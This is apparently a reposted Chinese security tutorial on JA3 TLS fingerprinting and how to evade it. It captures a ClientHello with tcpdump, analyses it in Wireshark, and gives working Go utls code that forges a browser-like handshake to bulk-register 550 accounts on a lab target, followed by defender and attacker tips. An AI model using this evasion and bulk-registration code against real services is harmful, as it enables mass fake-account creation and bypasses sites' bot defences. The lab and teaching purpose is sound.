文章总结: 本文深入探讨TLS握手层面的JA3指纹识别与绕过技术。文章阐述了JA3通过分析ClientHello包特征生成指纹的原理,并利用tcpdump与Wireshark抓包分析目标指纹。实战环节使用Go语言utls库自定义TLS握手参数,模拟合法浏览器指纹,成功绕过反爬虫检测机制实现批量注册。文末还总结了基于TLS指纹的攻防对抗策略与防御建议。 综合评分: 90 文章分类: 爬虫,WEB安全,网络安全,实战经验,应用安全
APP 指纹绕过反爬虫实战:TLS 握手层面的攻防对抗
原创
二进制磨剑
二进制磨剑
2026年1月12日 08:30 四川
引言
在现代网络安全对抗中,反爬虫系统已不再满足于简单的 IP 封禁或 User-Agent 检测。JA3 指纹技术通过分析 TLS 握手过程中的客户端特征,能够精准识别不同的客户端类型,成为反爬虫防护的新武器。
本实验将深入 TLS 协议层面,通过抓包分析理解 JA3 指纹的构成原理,并使用 Go 语言的 utls 库实现自定义 TLS 握手,达到绕过 JA3 指纹检测的目的。
本文所有实验环境、指纹对抗靶场与复现实验已完整部署在 BinLab 实战平台,可直接进入挑战环境进行实操复现:https://www.bin-lab.com/
实验原理
什么是 JA3 指纹?
JA3 是一种 TLS 客户端指纹识别技术,通过提取 TLS ClientHello 握手包中的关键字段生成唯一哈希值。这些字段包括:
- TLS 版本 (TLS Version)
- 密码套件列表 (Cipher Suites) 及其顺序
- 扩展列表 (Extensions) 及其顺序
- 支持的椭圆曲线 (Supported Groups)
- 椭圆曲线点格式 (EC Point Formats)
这些字段的组合形成一个字符串,经过 MD5 哈希后生成 JA3 指纹。不同的 TLS 库(如 OpenSSL、BoringSSL、Go crypto/tls)会产生不同的 JA3 指纹,使得服务端能够识别客户端类型。
TLS 握手过程简述
客户端 服务端
| |
|-------- ClientHello -------------> | (包含 JA3 指纹信息)
| |
|<------- ServerHello -------------- |
|<------- Certificate -------------- |
|<------- ServerKeyExchange -------- |
|<------- ServerHelloDone -----------|
| |
|-------- ClientKeyExchange -------> |
|-------- ChangeCipherSpec --------> |
|---------Finished ----------------> |
| |
|<------- ChangeCipherSpec ----------|
|<------- Finished ------------------|
| |
|========== 加密通信开始 ==============|
关键点:JA3 指纹在第一个 ClientHello 包中就已经暴露,服务端可以在握手完成前就识别客户端类型。
绕过原理
通过使用 utls 库自定义 ClientHello 包的各个字段,我们可以:
- 模拟真实浏览器的 TLS 指纹
- 动态生成随机但合法的 TLS 参数
- 绕过基于 JA3 指纹的反爬虫检测
实验环境
工具准备
- Wireshark:网络协议分析工具,用于解析 TLS 握手包
- tcpdump:命令行抓包工具,用于捕获网络流量
- Go 环境:用于编写和运行 TLS 客户端代码
- utls 库:
github.com/refraction-networking/utls,支持自定义 TLS 握手
实验目标
通过抓包分析目标服务器期望的 TLS 指纹特征,然后使用 utls 库构造符合要求的 ClientHello 包,成功绕过 JA3 指纹检测。
实验步骤
实验流程图
步骤一:使用 tcpdump 捕获 TLS 握手包
核心目标:捕获 ClientHello 包
我们的主要目的是抓取 TLS 握手过程中的 ClientHello 包,因为:
- ClientHello 是明文传输:即使在 TLS 加密连接中,ClientHello 包也是未加密的,可以直接捕获分析
- 包含完整的 JA3 指纹信息:TLS 版本、密码套件、扩展列表等所有关键字段都在这个包里
- 握手第一步:ClientHello 是客户端发送的第一个握手包,服务端就是在这一步识别客户端指纹的
为什么选择 tcpdump?
不同于常见的 MITM(中间人)抓包技术,tcpdump 具有以下优势:
-
内核层捕获:通过 BPF (Berkeley Packet Filter) 技术在内核层面直接捕获原始网络数据包
-
无需证书信任:不依赖系统 CA 证书信任链,无需安装自签名证书
-
绕过抓包检测:非侵入式设计,不修改应用层数据,难以被检测
-
轻量高效:命令行工具,资源占用小,适合服务器环境
且MITM 工具会建立两条 TLS 连接(客户端 to 代理、代理 to 服务器),导致我们看到的是代理工具的ClientHello,而不是原始客户端的。tcpdump 直接捕获原始网络包,能看到真实的 ClientHello。
抓包命令
# 捕获指定端口的流量并保存为 pcap 文件
tcpdump -i any port 30579 -w tls_traffic.pcap
# 实时查看抓包内容(可选)
tcpdump -i any port 30579 -A
参数说明:
-i any:监听所有网络接口port 30579:过滤特定端口的流量-w tls_traffic.pcap:保存为 pcap 格式文件,供 Wireshark 分析
tcpdump 抓包命令
抓包结果
步骤二:使用 Wireshark 解析 TLS 握手包
过滤 TLS 握手包
将 tcpdump 捕获的 tls_traffic.pcap 文件导入 Wireshark,使用过滤器定位 TLS 握手包:
tls.handshake
在过滤结果中,找到 Info 列显示为 Client Hello 的数据包,这就是包含 JA3 指纹信息的关键包。
Wireshark 过滤 TLS 握手包
分析 ClientHello 包结构
展开 Transport Layer Security → TLSv1.3 Record Layer → Handshake Protocol: Client Hello,可以看到详细的握手参数:
ClientHello 详细信息
JA3 指纹关键字段解析
从 ClientHello 包中提取以下字段:
| 字段 | 说明 | 示例值 |
| — | — | — |
| TLS Version | 客户端支持的 TLS 版本 | 0x0303 (TLS 1.2) |
| Cipher Suites | 支持的密码套件列表(顺序敏感) | TLS_AES_256_GCM_SHA384 , TLS_CHACHA20_POLY1305_SHA256 等 |
| Extensions | TLS 扩展列表(顺序敏感) | supported_versions , key_share, signature_algorithms 等 |
| Supported Groups | 支持的椭圆曲线算法 | x25519 , secp256r1, secp384r1 |
| EC Point Formats | 椭圆曲线点格式 | uncompressed (0) |
重点:这些字段的值和顺序共同决定了 JA3 指纹。即使字段相同,顺序不同也会产生不同的指纹。
步骤三:使用 utls 库构造自定义 TLS 握手
安装依赖
go get github.com/refraction-networking/utls
代码实现
根据 Wireshark 分析的结果,使用 utls 库构造符合目标服务器要求的 ClientHello 包:
package main
import (
"fmt"
"net"
"strconv"
"time"
utls "github.com/refraction-networking/utls"
)
func main() {
// 批量注册用户,测试 TLS 指纹绕过效果
for i := 0; i < 550; i++ {
fmt.Printf("%d\t", i)
mytls(strconv.Itoa(i))
}
}
func mytls(username string) {
// 1. 建立 TCP 连接
rawConn, err := net.DialTimeout("tcp", "nc.bin-lab.com:30579", 10*time.Second)
if err != nil {
panic(err)
}
defer rawConn.Close()
// 2. 配置 TLS 参数
config := &utls.Config{
ServerName: "nc.bin-lab.com", // SNI 扩展中的服务器名称
InsecureSkipVerify: true, // 跳过证书验证(仅用于测试)
}
// 3. 创建 utls 客户端连接
uconn := utls.UClient(rawConn, config, utls.HelloCustom)
// 4. 自定义 ClientHello 规格(关键部分)
spec := &utls.ClientHelloSpec{
TLSVersMin: utls.VersionTLS12, // 最低支持 TLS 1.2
TLSVersMax: utls.VersionTLS13, // 最高支持 TLS 1.3
// 密码套件列表(顺序影响 JA3 指纹)
CipherSuites: []uint16{
utls.TLS_AES_256_GCM_SHA384, // TLS 1.3 密码套件
utls.TLS_CHACHA20_POLY1305_SHA256, // ChaCha20 加密
utls.TLS_AES_128_GCM_SHA256, // AES-128-GCM
utls.TLS_EMPTY_RENEGOTIATION_INFO_SCSV, // 防止重协商攻击
},
CompressionMethods: []uint8{0}, // 不使用压缩(TLS 1.3 已废弃压缩)
// TLS 扩展列表(顺序影响 JA3 指纹)
Extensions: []utls.TLSExtension{
// 声明支持的 TLS 版本
&utls.SupportedVersionsExtension{Versions: []uint16{utls.VersionTLS13}},
// 椭圆曲线点格式
&utls.SupportedPointsExtension{SupportedPoints: []byte{0}},
// 支持的椭圆曲线算法
&utls.SupportedCurvesExtension{
Curves: []utls.CurveID{utls.X25519, utls.CurveP256, utls.CurveP384},
},
// 签名算法
&utls.SignatureAlgorithmsExtension{
SupportedSignatureAlgorithms: []utls.SignatureScheme{
utls.ECDSAWithP384AndSHA384, utls.ECDSAWithP256AndSHA256, utls.Ed25519,
utls.PSSWithSHA512, utls.PSSWithSHA384, utls.PSSWithSHA256,
utls.PKCS1WithSHA512, utls.PKCS1WithSHA384, utls.PKCS1WithSHA256,
},
},
// 其他安全扩展
&utls.ExtendedMasterSecretExtension{}, // 增强主密钥安全性
&utls.StatusRequestExtension{}, // OCSP Stapling
&utls.SNIExtension{ServerName: "nc.bin-lab.com"}, // 服务器名称指示
&utls.SCTExtension{}, // 证书透明度
// TLS 1.3 特有扩展
&utls.KeyShareExtension{KeyShares: []utls.KeyShare{{Group: utls.X25519}}},
&utls.PSKKeyExchangeModesExtension{Modes: []uint8{utls.PskModeDHE}},
&utls.SessionTicketExtension{}, // 会话恢复
},
}
// 5. 应用自定义握手规格
if err := uconn.ApplyPreset(spec); err != nil {
panic(err)
}
// 6. 执行 TLS 握手
if err := uconn.Handshake(); err != nil {
panic(err)
}
// 7. 发送 HTTP 请求(通过加密通道)
req := fmt.Sprintf("POST /register HTTP/1.1\r\nHost: nc.bin-lab.com\r\nContent-Type: application/json\r\nContent-Length: 41\r\n\r\n{\"password\":\"123123\",\"username\":\"%s\"}", username)
if _, err := uconn.Write([]byte(req)); err != nil {
panic(err)
}
fmt.Println("successful")
}
代码关键点说明
- TLS 版本控制:通过
TLSVersMin和TLSVersMax指定支持的 TLS 版本范围 - 密码套件顺序:客户端偏好的密码套件顺序会影响 JA3 指纹
- 扩展顺序:Extensions 数组的顺序必须与目标客户端一致
- 椭圆曲线选择:X25519、P-256、P-384 是现代浏览器常用的曲线
- 签名算法:包含 ECDSA、RSA-PSS、PKCS#1 等多种签名方案
步骤四:验证绕过效果
执行结果
运行程序后,成功批量注册 550 个用户,说明 TLS 指纹检测已被绕过:
程序执行成功
服务端验证
在服务端可以看到所有请求都成功通过了 JA3 指纹验证:
服务端验证结果
实验总结
技术要点回顾
- JA3 指纹本质:基于 TLS ClientHello 包的客户端特征识别技术
- 关键字段:TLS 版本、密码套件、扩展列表、椭圆曲线、点格式
- 顺序敏感性:字段的排列顺序直接影响指纹哈希值
- 绕过方法:使用
utls库完全控制 TLS 握手过程
防御与对抗
防御方视角
- 多维度检测:结合 JA3、JA3S(服务端指纹)、HTTP/2 指纹等多种特征
- 行为分析:监控请求频率、会话持续时间、业务逻辑异常
- 动态指纹库:持续更新已知爬虫工具的 TLS 指纹库
- 异常检测:识别不常见的 TLS 参数组合
攻击方视角
- 指纹轮换:动态生成多种合法的 TLS 指纹
- 真实模拟:完全复制目标浏览器的 TLS 行为
- 协议栈伪装:在更底层(如 HTTP/2 帧结构)进行伪装
- 混合策略:结合代理池、User-Agent 轮换等传统手段
实验环境复现
本实验对应的完整环境与对抗靶场已上传至 BinLab 挑战平台:https://www.bin-lab.com/challenges/6e2830cb-d8a9-4117-a4e9-8432b3b0ee88
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:二进制磨剑 二进制磨剑《APP 指纹绕过反爬虫实战:TLS 握手层面的攻防对抗》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论